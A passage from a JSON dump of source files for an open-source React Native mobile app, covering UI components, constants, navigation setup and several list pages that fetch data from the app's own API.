    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {\n    Text,\n    TouchableHighlight,\n} from 'react-native';\n\n\nexport default WHCButton = ({\n    style,\n    text,\n    textColor,\n    fontSize,\n    onClick,\n}) => {\n    return (\n        <TouchableHighlight style = {[style, {justifyContent:'center', alignItems: 'center'}]}\n            onPress = {onClick}\n            underlayColor = {'transparent'}>\n            <Text style = {{color: (textColor !== void 0 ? textColor : 'black'),\n                           fontSize: (fontSize !== void 0 ? fontSize : 14)}}>\n               {text}\n            </Text>\n        </TouchableHighlight>\n    );\n};\n"
  },
  {
    "path": "app/components/whc-grid-view.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport {\n    View,\n    StyleSheet,\n    FlatList,\n    ViewPropTypes,\n} from 'react-native';\n\nconst propTypes = {\n    column:                    PropTypes.number,\n    data:                      PropTypes.array,\n    renderItem:                PropTypes.func,\n    style:                     ViewPropTypes.style,\n    rowSeparatorLineRender:    PropTypes.func,\n    columnSeparatorLineRender: PropTypes.func,\n};\n\nconst WHCGridView = ({\ncolumn,\ndata,\nrenderItem,\nstyle,\nrowSeparatorLineRender,\ncolumnSeparatorLineRender,\n}) => {\n    if (column === 0 || data.length === 0) {\n        return null;\n    }else {\n        const length = data.length;\n        const rowCount = length / column + (length % column !== 0 ? 1 : 0);\n        let datas = [];\n        for (let r = 0; r < rowCount; r++) {\n            let items = [];\n            for (let c = 0; c < column; c++) {\n                const index = r * column + c;\n                if (index < length) {\n                    items.push(data[index]);\n                }else {\n                    items.push({});\n                }\n            }\n            datas.push(items);\n        }\n        return (\n            <View style = {style}>\n                <FlatList style = {styles.list}\n                    data = {datas}\n                    ItemSeparatorComponent = {rowSeparatorLineRender != null ? rowSeparatorLineRender : null}\n                    renderItem = {({item, index}) => {\n                        let itemview = [];\n                        let linecount = columnSeparatorLineRender != null ? Math.min(0, column - 1) : 0;\n                        item.forEach((e, idx) => {\n                            itemview.push(renderItem(e, index * column + idx));\n                            if (idx < column - 1 && columnSeparatorLineRender != null) {\n                                itemview.push(columnSeparatorLineRender());\n                            }\n                        });\n                        return (<View style = {styles.item} key = {index}>\n                            {itemview}\n                        </View>);\n                    }}\n                />\n            </View>\n        );\n    }\n};\n\nWHCGridView.propTypes = propTypes;\n\nWHCGridView.defaultProps = {\n    column: 1,\n    data: [],\n    renderItem(){},\n};\n\nconst styles = StyleSheet.create({\n    list: {\n        flex: 1,\n    },\n    item: {\n        flex: 1,\n        flexDirection: 'row',\n        justifyContent: 'space-between',\n    },\n});\n\nexport default WHCGridView;\n"
  },
  {
    "path": "app/components/whc-image-button.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React , {Component} from 'react';\nimport {\n    TouchableHighlight,\n    Text,\n    Image,\n    View,\n}from 'react-native';\n\nclass WHCImageButton extends Component {\n    constructor(props) {\n        super(props);\n        this.state = {};\n    }\n\n    render() {\n        const {onPress, style, imageStyle, textStyle, imageSource, text, underlayColor} = this.props;\n        return (\n            <TouchableHighlight\n                underlayColor = {underlayColor}\n                onPress = {onPress}>\n                <View style = {style}>\n                    <Image style = {imageStyle} source = {imageSource}/>\n                    <Text style = {textStyle}>{text}</Text>\n                </View>\n            </TouchableHighlight>\n        );\n    }\n}\n\nexport default WHCImageButton;\n"
  },
  {
    "path": "app/components/whc-line.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React , {Component} from 'react';\nimport {\n    View,\n    StyleSheet,\n} from 'react-native';\n\nimport * as color from '../constants/color';\n\nclass WHCLine extends Component {\n    constructor(props) {\n        super(props);\n        this.state = {};\n    }\n\n    render() {\n        return (\n            <View style = {styles.line}>\n            </View>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    line: {\n        height: 0.5,\n        backgroundColor: color.line,\n    },\n});\n\nexport default WHCLine;\n"
  },
  {
    "path": "app/components/whc-loading.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React, {Component} from 'react';\nimport {\n    View,\n    Modal,\n    StyleSheet,\n    Animated,\n    Easing,\n} from 'react-native';\n\n\nexport default class WHCLoading extends Component {\n    constructor(props) {\n        super(props);\n        this.rotateValue = new Animated.Value(0);\n        this.show = true;\n        this.didAnimation = false;\n    }\n\n    componentWillUnmount() {\n        this.show = false;\n    }\n\n    _rotateValue = (value) => {\n        this.rotateValue.setValue(value);\n    };\n\n    _startAnimation = () => {\n        this.didAnimation = true;\n        this._rotateValue(0);\n        Animated.timing(this.rotateValue, {\n            toValue: 1,\n            duration: 1000,\n            easing: Easing.out(Easing.ease),\n        }).start(() => {\n            if (this.show) {\n                this._startAnimation();\n            }else {\n                this.didAnimation = false;\n            }\n        });\n    };\n\n    render() {\n        const {show = false, image = null} = this.props;\n        this.show = show;\n        if (show && !this.didAnimation) {\n            this._startAnimation();\n        }\n        return (\n            <Modal animationType = {'none'}\n                transparent = {true}\n                visible = {show}>\n                <View style = {styles.loadingView}>\n                    <View style = {styles.loading}>\n                        <Animated.Image style = {{\n                            width: 40,\n                            height: 40,\n                            transform: [\n                                {\n                                    rotateZ: this.rotateValue.interpolate({\n                                        inputRange: [0,1],\n                                        outputRange: ['0deg', '360deg'],\n                                    }),\n                                },\n                            ],\n                        }}\n                            source = {image || require('../images/loading.png')}\n                        />\n                    </View>\n                </View>\n            </Modal>\n        );\n    }\n}\n\n\nconst styles = StyleSheet.create({\n    loadingView: {\n        flex: 1,\n        backgroundColor: '#00000033',\n        alignItems: 'center',\n        justifyContent: 'center',\n    },\n    loading: {\n        width: 70,\n        height: 70,\n        alignItems: 'center',\n        justifyContent: 'center',\n        borderRadius: 5,\n        backgroundColor: '#ffffffF2',\n    },\n});\n"
  },
  {
    "path": "app/components/whc-text.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React , {Component} from 'react';\nimport {\n    View,\n    Text,\n} from 'react-native';\n\nexport default WHCText = ({\n    style,\n    text,\n    textColor = 'gary',\n    fontSize = 14,\n}) => {\n    return (\n        <View style = {style}>\n            <Text style = {{color: textColor, fontSize: fontSize}}>{text}</Text>\n        </View>\n    );\n};\n"
  },
  {
    "path": "app/components/whc-toast.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React , {Component} from 'react';\nimport {\n    View,\n    StyleSheet,\n    Animated,\n    Easing,\n    Modal,\n    Text,\n} from 'react-native';\n\nexport default class WHCToast extends Component {\n    constructor(props) {\n        super(props);\n        this.state = {\n            opacity: new Animated.Value(0),\n        };\n    }\n\n    componentWillUnmount() {\n        this.timer && clearTimeout(this.timer)\n    }\n\n    _setOpacity = (value) => {\n        this.setState((state) => {\n            state.opacity.setValue(value);\n            return state;\n        });\n    };\n\n    _startAnimation = () => {\n        this.did_end_show = false;\n        Animated.timing(this.state.opacity, {\n            toValue: 1,\n            duration: 200,\n            easing: Easing.out(Easing.linear),\n        }).start(() => {\n            const {duration} = this.props;\n            this.timer = setTimeout(() => {\n                this._setOpacity(1);\n                Animated.timing(this.state.opacity, {\n                    toValue: 0,\n                    duration: 200,\n                    easing: Easing.out(Easing.linear),\n                }).start(() => {\n                    this._setOpacity(0);\n                    const {onHide = null} = this.props;\n                    if (onHide) {\n                        onHide && onHide();\n                    }else {\n                        this.modal.visible = false;\n                    }\n                });\n            }, duration || 2500);\n        });\n    };\n\n    render() {\n        const {message = null} = this.props;\n        let visible = message !== null && message !== '';\n        visible && this._startAnimation();\n        return (\n            <Modal\n                ref = {(ref) => {this.modal = ref}}\n                transparent = {true}\n                visible = {visible}>\n                <View style = {styles.toast}>\n                    <Animated.View style = {[styles.message, {opacity: this.state.opacity,}]}>\n                        <Text style = {styles.text}>\n                            {message}\n                        </Text>\n                    </Animated.View>\n                </View>\n            </Modal>\n        );\n    }\n}\n\n\nconst styles = StyleSheet.create({\n    toast: {\n        flex: 1,\n        backgroundColor: 'transparent',\n        alignItems: 'center',\n        justifyContent: 'center',\n    },\n    message: {\n        alignItems: 'center',\n        justifyContent: 'center',\n        padding: 20,\n        backgroundColor: '#000000B2',\n        borderRadius: 5,\n    },\n    text: {\n        color: 'white',\n        fontSize: 14,\n    },\n});\n"
  },
  {
    "path": "app/constants/action-type.js",
    "content": "/**\n * 退出登录\n * @type {string}\n */\nexport const DID_LOGOUT = 'DID_LOGOUT';\n/**\n * 登录\n * @type {string}\n */\nexport const DID_LOGIN = 'DID_LOGIN';"
  },
  {
    "path": "app/constants/app-constant.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\n/**\n * 修改类型\n */\nexport const ModifyType = {\n    email: 0,\n    mobile: 1,\n    password: 2,\n};\n\n/**\n * 收藏类型\n */\nexport const CollectType = {\n    my_collect: 0,\n    collect_set: 1,\n};\n\n"
  },
  {
    "path": "app/constants/color.js",
    "content": "\n/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nexport const theme = '#CC6766';\nexport const black = '#333333';\nexport const line = '#f1f1f1';\nexport const gray = '#cccccc';\n"
  },
  {
    "path": "app/constants/screen.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport {\n    Dimensions\n} from 'react-native';\n\nexport const width = Dimensions.get('window').width;\nexport const height = Dimensions.get('window').height;\n"
  },
  {
    "path": "app/containers/navigation.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {View, Text} from 'react-native';\nimport {StackNavigator} from 'react-navigation';\nimport Launch from '../pages/launch/launch';\nimport Tabbar from './tabbar';\nimport Blank from '../pages/blank/blank';\nimport Webv from '../pages/webview/webv';\nimport Set from '../pages/my/set/set';\nimport Modify from '../pages/my/set/modity/modify'\nimport Feedback from '../pages/my/feedback/feedback';\nimport Collect from '../pages/community/collect/collect';\n\nimport WeekHot from '../pages/community/week/week-hot';\nimport OfflineActivity from '../pages/community/activity/offline-activity';\nimport MyLike from '../pages/my/like/my-like';\nimport DidRead from '../pages/my/read/did-read';\nimport SpecialColumn from '../pages/community/column/special-column';\n\nimport Login from '../pages/my/login/login';\nimport Register from '../pages/my/login/register';\nimport Forget from '../pages/my/login/forget';\nimport User from '../pages/my/user/user';\n\nconst AppNavigation  = StackNavigator({\n    Launch: {\n        screen: Launch,\n    },\n    Tabbar: {\n        screen: Tabbar,\n    },\n    Blank: {\n        screen: Blank,\n    },\n    Webv: {\n        screen: Webv,\n    },\n    Set: {\n        screen: Set,\n    },\n    Modify: {\n        screen: Modify,\n    },\n    Feedback: {\n        screen: Feedback,\n    },\n    Collect: {\n        screen: Collect,\n    },\n    WeekHot: {\n        screen: WeekHot,\n    },\n    OfflineActivity: {\n        screen: OfflineActivity,\n    },\n    MyLike: {\n        screen: MyLike,\n    },\n    DidRead: {\n        screen: DidRead,\n    },\n    SpecialColumn: {\n        screen: SpecialColumn,\n    },\n    Login: {\n        screen: Login,\n    },\n    Register: {\n        screen: Register,\n    },\n    Forget: {\n        screen: Forget,\n    },\n    User: {\n        screen: User,\n    },\n},{\n    initialRouteName: 'Launch', // 默认显示界面\n    navigationOptions: {  // 屏幕导航的默认选项, 也可以在组件内用 static navigationOptions 设置(会覆盖此处的设置)\n        headerBackTitle: null,  // 左上角返回键文字\n        headerStyle: {\n            backgroundColor: '#fff',\n        },\n        headerTitleStyle: {\n            color: '#333',\n            alignSelf : 'center',\n        },\n        cardStack: {\n            gesturesEnabled: true,\n        },\n        headerRight: (<View/>),\n    },\n    mode: 'card',  // 页面切换模式, 左右是card(相当于iOS中的push效果), 上下是modal(相当于iOS中的modal效果)\n    headerMode: 'screen', // 导航栏的显示模式, screen: 有渐变透明效果, float: 无透明效果, none: 隐藏导航栏\n    onTransitionStart: ()=>{ console.log('导航栏切换开始'); },  // 回调\n    onTransitionEnd: ()=>{ console.log('导航栏切换结束'); }  // 回调\n\n});\n\nexport default AppNavigation;\n"
  },
  {
    "path": "app/containers/tabbar.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {TabNavigator} from 'react-navigation';\nimport {\n    Image,\n    Platform,\n    View,\n} from 'react-native';\n\nimport Home from '../pages/home/home';\nimport Community from '../pages/community/community';\nimport My from '../pages/my/my';\n\nimport * as color from '../constants/color';\n\nexport default Tabbar = TabNavigator({\n    Home: {\n        screen: Home,\n        navigationOptions: {\n            title: '首页',\n            headerLeft: (<View/>),\n            tabBarLabel: '首页',\n            tabBarIcon: ({tintColor}) => {\n                return(<Image\n                    resizeMode = 'contain'\n                    source = {require('../images/home_normal_icon.png')}\n                    style = {{\n                        width: 20,\n                        height: 20,\n                        tintColor: tintColor,\n                    }}/>\n            )},\n        },\n    },\n    Community: {\n        screen: Community,\n        navigationOptions: {\n            title: '社区',\n            headerLeft: (<View/>),\n            tabBarLabel: '社区',\n            tabBarIcon: ({tintColor}) => {\n                return (<Image\n                    source = {require('../images/community_normal_icon.png')}\n                    style = {{\n                        width: 20,\n                        height: 20,\n                        tintColor: tintColor,\n                    }}/>\n            )},\n        },\n    },\n    My: {\n        screen: My,\n        navigationOptions: {\n            title: '我的',\n            headerLeft: (<View/>),\n            tabBarLabel: '我的',\n            tabBarIcon: ({tintColor}) => {\n                return (<Image\n                    source = {require('../images/my_normal_icon.png')}\n                    style = {{\n                        width: 25,\n                        height: 25,\n                        tintColor: tintColor,\n                    }}/>\n            )},\n        },\n    }}, {\n    tabBarPosition: 'bottom',\n    lazy: true,\n    initialRouteName: 'Home',\n    swipeEnabled: false,\n    animationEnabled: false,\n    tabBarOptions: {\n        showIcon: true,\n        style: {\n            height: 50,\n            backgroundColor: '#ffffff',\n            zIndex: 0,\n            position: 'relative',\n        },\n        labelStyle: {\n            fontSize: 11,\n            paddingVertical: 0,\n            marginTop: (Platform.OS === 'android' || (Platform.OS === 'ios' && Platform.Version < 10)) ? 0 : 15,\n        },\n        iconStyle: {\n            marginTop: -2,\n        },\n        tabStyle: {\n            backgroundColor: 'white',\n        },\n        activeBackgroundColor: '#fff',\n        activeTintColor: color.theme,\n        inactiveBackgroundColor:'white',\n        inactiveTintColor: color.black,\n    },\n});\n\n"
  },
  {
    "path": "app/pages/blank/blank.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React, {Component} from 'react';\nimport {\n    View,\n    Text,\n    StyleSheet,\n} from 'react-native';\n\nimport * as color from '../../constants/color';\n\nclass Blank extends Component {\n    static navigationOptions = {\n        title: '开发中'\n    };\n\n    constructor(props) {\n        super(props);\n        this.state = {};\n    }\n\n    render () {\n        return (\n            <View style = {styles.view}>\n                <Text style = {styles.text}>{'功能还在开发，敬请期待'}</Text>\n            </View>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n        justifyContent: 'center',\n        alignItems: 'center'\n    },\n    text: {\n        fontSize: 20,\n        fontWeight: 'bold',\n        color: color.theme,\n    },\n});\n\nexport default Blank;\n"
  },
  {
    "path": "app/pages/community/activity/offline-activity.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport BaseList from '../../../base/base-list';\nimport Api from '../../../api/api';\n\nexport default class OfflineActivity extends BaseList {\n    constructor(props) {\n        super(props);\n    }\n\n    componentDidMount() {\n        this._startRequest();\n    }\n\n    _startRequest = () => {\n        this.loading(true);\n        Api.get({api: 'offine_activity/'}, (json) => {\n            if (json.code !== 0) {\n                this.toast(json.message);\n            }else {\n                this.reloadData(json.data.list);\n            }\n        });\n    };\n\n    render() {\n        return super.render();\n    }\n}\n"
  },
  {
    "path": "app/pages/community/collect/collect-cell.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {\n    View,\n    StyleSheet,\n    Image,\n    Text,\n    TouchableHighlight,\n} from 'react-native';\n\nimport WHCLine from '../../../components/whc-line';\nimport Api from '../../../api/api';\n\nCollectCell = ({\n    item,\n    onClick,\n}) => {\n    return (\n        [\n            <View style = {styles.view}>\n                <TouchableHighlight onPress = {() => {\n                    if (onClick !== void 0) {\n                        onClick(item);\n                    }\n                }} underlayColor = {'transparent'}>\n                    <View style = {styles.content_view}>\n                        <Image style = {styles.image}\n                                source = {{uri: Api.main_url + item.logoUrl}}/>\n                        <View style = {styles.mid_content}>\n                            <Text style = {styles.title}>{item.title}</Text>\n                            <Text style = {styles.detail}>{item.count + '篇 · ' + item.focusCount + '关注 · ' + item.author}</Text>\n                        </View>\n                        <Image style = {styles.arrow_img} source = {require('../../../images/right_arrow_icon.png')}/>\n                    </View>\n                </TouchableHighlight>\n            </View>,\n            <WHCLine/>\n        ]\n    );\n};\n\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n        backgroundColor: 'white',\n        padding: 15,\n    },\n    content_view: {\n        flexDirection: 'row',\n        alignItems: 'center',\n    },\n    image: {\n        width: 60,\n        height: 60,\n        borderRadius: 3,\n    },\n    mid_content: {\n        paddingLeft: 20,\n        flexGrow: 2,\n        height: 60,\n        justifyContent: 'space-between',\n    },\n    arrow_img: {\n        width: 20,\n        height: 20,\n    }\n});\n\nexport default CollectCell;\n"
  },
  {
    "path": "app/pages/community/collect/collect.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {\n    View,\n    StyleSheet,\n    FlatList,\n} from 'react-native';\n\nimport CollectCell from './collect-cell';\nimport Api from '../../../api/api';\nimport {CollectType} from '../../../constants/app-constant';\nimport Controller from '../../../base/controller';\n\nclass Collect extends Controller {\n\n    constructor(props) {\n        super(props);\n        this.datas = [];\n    }\n\n    componentDidMount() {\n        this._startRequest();\n    }\n\n    _startRequest = () => {\n        this.loading();\n        let api = '';\n        const {type = CollectType.my_collect} = this.props.navigation.state.params;\n        switch (type) {\n            case CollectType.my_collect:\n                api = 'my_collect/';\n                break;\n            case CollectType.collect_set:\n                api = 'collect/';\n                break;\n            default:\n\n        }\n        Api.get({api: api}, (json) => {\n            if (json.code !== 0) {\n                this.toast(json.message);\n            }else {\n                this.datas = json.data.list;\n                this.loading(false);\n            }\n        });\n    };\n\n    render() {\n        return (\n            <View style = {styles.view}>\n                <FlatList style = {styles.list}\n                          data = {this.datas}\n                          renderItem = {({item, index}) => (\n                              <CollectCell\n                                  key = {index}\n                                  item = {item}\n                                  onClick = {(item) => {\n                                      this.push('Webv', {linkUrl: item.linkUrl, title: item.title});\n                                  }}/>\n                          )}/>\n                {super.render()}\n            </View>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n    },\n    list: {\n        flex: 1,\n    },\n});\n\nexport default Collect;\n"
  },
  {
    "path": "app/pages/community/column/special-column.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React from 'react';\nimport {\n    FlatList,\n    StyleSheet,\n    View,\n} from 'react-native';\n\nimport HomeCell from '../../home/home-cell';\nimport api from '../../../api/api';\nimport Constroller from '../../../base/controller';\n\nexport default class SpecialColumn extends Constroller {\n\n    constructor(props) {\n        super(props);\n        this.datas = [];\n    }\n\n    componentDidMount() {\n        this._startRequest();\n    }\n\n    _startRequest = () => {\n        this.loading();\n        api.get({\n            api: 'special_column/'\n        }, (json) => {\n            if (json.code === 0) {\n                this.datas = json.data.list;\n                this.loading(false);\n            }else {\n                this.toast(json.message);\n            }\n        });\n    };\n\n    _clickItem = (item) => {\n        this.push('Webv', {linkUrl: item.linkUrl, title: item.title});\n    };\n\n    render() {\n        return (\n            <View style = {styles.view}>\n                <FlatList\n                    style = {styles.list}\n                    data = {this.datas}\n                    renderItem = {({item,index}) => (\n                        <HomeCell\n                            key = {index}\n                            itemInfo = {item}\n                            click = {() => {this._clickItem(item);}}\n                        />\n                    )}\n                />\n                {super.render()}\n            </View>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    view: {\n        flex: 1,\n    },\n    list: {\n        flex: 1,\n    },\n});\n"
  },
  {
    "path": "app/pages/community/community-cell.js",
    "content": "/**\n *\n * Copyright 2017-present whcapp\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http://www.apache.org/licenses/LICENSE-2.0\n * https://github.com/netyouli/whcapp\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n */\n\nimport React , {Component} from 'react';\nimport {\n    View,\n    StyleSheet,\n    Text,\n    Image,\n    TouchableHighlight,\n} from 'react-native';\nimport Api from '../../api/api';\n\nimport * as color from '../../constants/color';\n\nclass CommunityCell extends Component {\n    constructor(props) {\n        super(props);\n        this.state = {};\n    }\n\n    render() {\n        const {title, loveNum,image, time, organizeName, key} = this.props.item;\n        const click = this.props.click;\n        if (image != null) {\n            return (\n                <TouchableHighlight onPress = {click} key = {key}>\n                    <View style = {{flex: 1}}>\n                        <View style = {styles.viewimage}>\n                            <View style = {styles.view}>\n                                <Text style = {styles.title}>{title}</Text>\n                                <Text style = {styles.info}>{loveNum + '人喜欢 · ' + organizeName + ' · ' + time}</Text>\n                            </View>\n                            <Image style = {styles.img} source = {{uri: Api.main_url + image}}/>\n                        </View>\n                        <View style = {styles.bottomLine}/>\n                    </View>\n                </TouchableHighlight>\n            );\n        }\n        return (\n            <TouchableHighlight onPress = {click}>\n                <View style = {{flex: 1}}>\n                    <View style = {styles.view}>\n                        <Text style = {styles.title}>{title}</Text>\n                        <Text style = {styles.info}>{loveNum + '人喜欢 · ' + organizeName + ' · ' + time}</Text>\n                    </View>\n                    <View style = {styles.bottomLine}/>\n                </View>\n            </TouchableHighlight>\n        );\n    }\n}\n\nconst styles = StyleSheet.create({\n    viewimage: {\n        flex: 1,\n        flexDirection: 'row',\n        backgroundColor: 'white',\n    },\n    view: {\n        flex: 